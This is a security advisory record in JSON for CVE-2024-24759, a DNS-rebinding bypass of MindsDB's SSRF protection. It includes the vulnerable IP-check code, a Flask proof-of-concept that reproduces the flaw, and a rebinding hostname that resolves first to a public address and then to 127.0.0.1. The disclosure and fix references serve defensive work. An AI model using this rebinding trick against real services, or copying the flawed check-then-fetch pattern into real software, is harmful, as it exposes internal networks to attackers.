{"id":"CVE-2024-24759","aliases":["GHSA-4jcv-vp96-94xr","PYSEC-2024-74"],"url":"https://o3.security/vulnerability/CVE-2024-24759","summary":"MindsDB Vulnerable to Bypass of SSRF Protection with DNS Rebinding","details":"### Summary\n\nDNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host `make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms`  would be initially resolved to `190.119.176.200` and the next DNS issue to `127.0.0.1`. Please notice the following in the latest codebase:\n\n```python\ndef is_private_url(url: str):\n    \"\"\"\n    Raises exception if url is private\n\n    :param url: url to check\n    \"\"\"\n\n    hostname = urlparse(url).hostname\n    if not hostname:\n        # Unable to find hostname in url\n        return True\n    ip = socket.gethostbyname(hostname)\n    return ipaddress.ip_address(ip).is_private\n\n``` \n\nAs you can see, during the call to `is_private_url()` the initial DNS query would be issued by `ip = socket.gethostbyname(hostname)` to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.\n\n### PoC\n\n```python\nfrom flask import Flask, request, jsonify\nfrom urllib.parse import urlparse\nimport socket\nimport ipaddress\nimport requests\n\napp = Flask(__name__)\n\n\ndef is_private_url(url: str):\n    \"\"\"\n    Raises exception if url is private\n\n    :param url: url to check\n    \"\"\"\n\n    hostname = urlparse(url).hostname\n    if not hostname:\n        # Unable to find hostname in url\n        return True\n    ip = socket.gethostbyname(hostname)\n    if ipaddress.ip_address(ip).is_private:\n        raise Exception(f\"Private IP address found for {url}\")\n\n\n@app.route(\"/\", methods=[\"GET\"])\ndef index():\n    return \"http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr\"\n\n\n@app.route(\"/check_private_url\", methods=[\"GET\"])\ndef check_private_url():\n    url = request.args.get(\"url\")\n\n    if not url:\n        return jsonify({\"error\": 'Missing \"url\" parameter'}), 400\n\n    try:\n        is_private_url(url)\n        response = requests.get(url)\n\n        return jsonify(\n            {\n                \"url\": url,\n                \"is_private\": False,\n                \"text\": response.text,\n                \"status_code\": response.status_code,\n            }\n        )\n    except Exception as e:\n        return jsonify({\"url\": url, \"is_private\": True, \"error\": str(e)})\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n\n```\n\nAfter running the poc.py with flask installed, consider visiting the following URLs:\n\n1. http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get `is_private: false` and the GET request would be issued to the www.Example.com website.\n3. http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get `is_private: true`\n4. http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP `190.119.176.214` and then DNS rebind into the network location `127.0.0.1:8667`.\n\nI set up a simple HTTP server at `127.0.0.1:8667`, you can notice the results of the PoC in the next screenshot:\n\n```\n{\n  \"is_private\": false,\n  \"status_code\": 200,\n  \"text\": \"<pre>\\n<a href=\\\"poc.py\\\">poc.py</a>\\n</pre>\\n\",\n  \"url\": \"http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/\"\n}\n\n```\n\n\n### Impact\n - Bypass the SSRF protection on the whole website with DNS Rebinding.\n - DoS too.\n","published":"2024-09-05T16:30:38.659Z","modified":"2026-08-27T03:56:59.528138313Z","cvss":{"score":9.3,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"PyPI","name":"mindsdb","fixedVersion":"23.12.4.2"}],"fix":{"url":"https://github.com/mindsdb/mindsdb/commit/5f7496481bd3db1d06a2d2e62c0dce960a1fe12b","label":"mindsdb/mindsdb@5f74964"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/24xxx/CVE-2024-24759.json"},{"type":"ADVISORY","url":"https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4jcv-vp96-94xr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-24759"},{"type":"FIX","url":"https://github.com/mindsdb/mindsdb/commit/5f7496481bd3db1d06a2d2e62c0dce960a1fe12b"},{"type":"PACKAGE","url":"https://github.com/mindsdb/mindsdb"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-27T03:56:59.528138313Z"}}